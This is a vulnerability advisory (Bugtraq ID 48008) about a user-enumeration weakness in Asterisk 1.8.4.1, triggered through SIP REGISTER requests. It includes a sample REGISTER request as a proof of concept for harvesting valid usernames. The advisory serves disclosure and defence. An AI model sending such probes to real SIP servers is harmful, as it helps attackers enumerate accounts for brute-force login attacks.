Asterisk SIP 'REGISTER' Request User Enumeration Weakness

BID:48008

Info

Asterisk SIP 'REGISTER' Request User Enumeration Weakness

Bugtraq ID: 48008
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: May 26 2011 12:00AM
Updated: May 26 2011 12:00AM
Credit: Francesco Tornieri
Vulnerable: Asterisk Asterisk 1.8.4 1
Not Vulnerable:

Discussion

Asterisk SIP 'REGISTER' Request User Enumeration Weakness

Asterisk is prone to a user-enumeration weakness.

An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.

This issue affects Asterisk 1.8.4.1; other versions may also be affected.

Exploit / POC

Asterisk SIP 'REGISTER' Request User Enumeration Weakness

An attacker can exploit this issue by supplying the application with 'REGISTER' requests.

The following example request is available:

REGISTER sip:192.168.2.1 SIP/2.0
CSeq: 123 REGISTER
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
User-Agent: TT
From: <sip:[email protected]>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 2e2f07e0499cec3abf7045ef3610f0f2
To: <sip:[email protected]>
Refer-To: sip:[email protected]
Contact: <sip:500@localhost>;q=1
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
Expires: 3600
Content-Length: 28000
Max-Forwards: 70

Solution / Fix

Asterisk SIP 'REGISTER' Request User Enumeration Weakness

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Asterisk SIP 'REGISTER' Request User Enumeration Weakness

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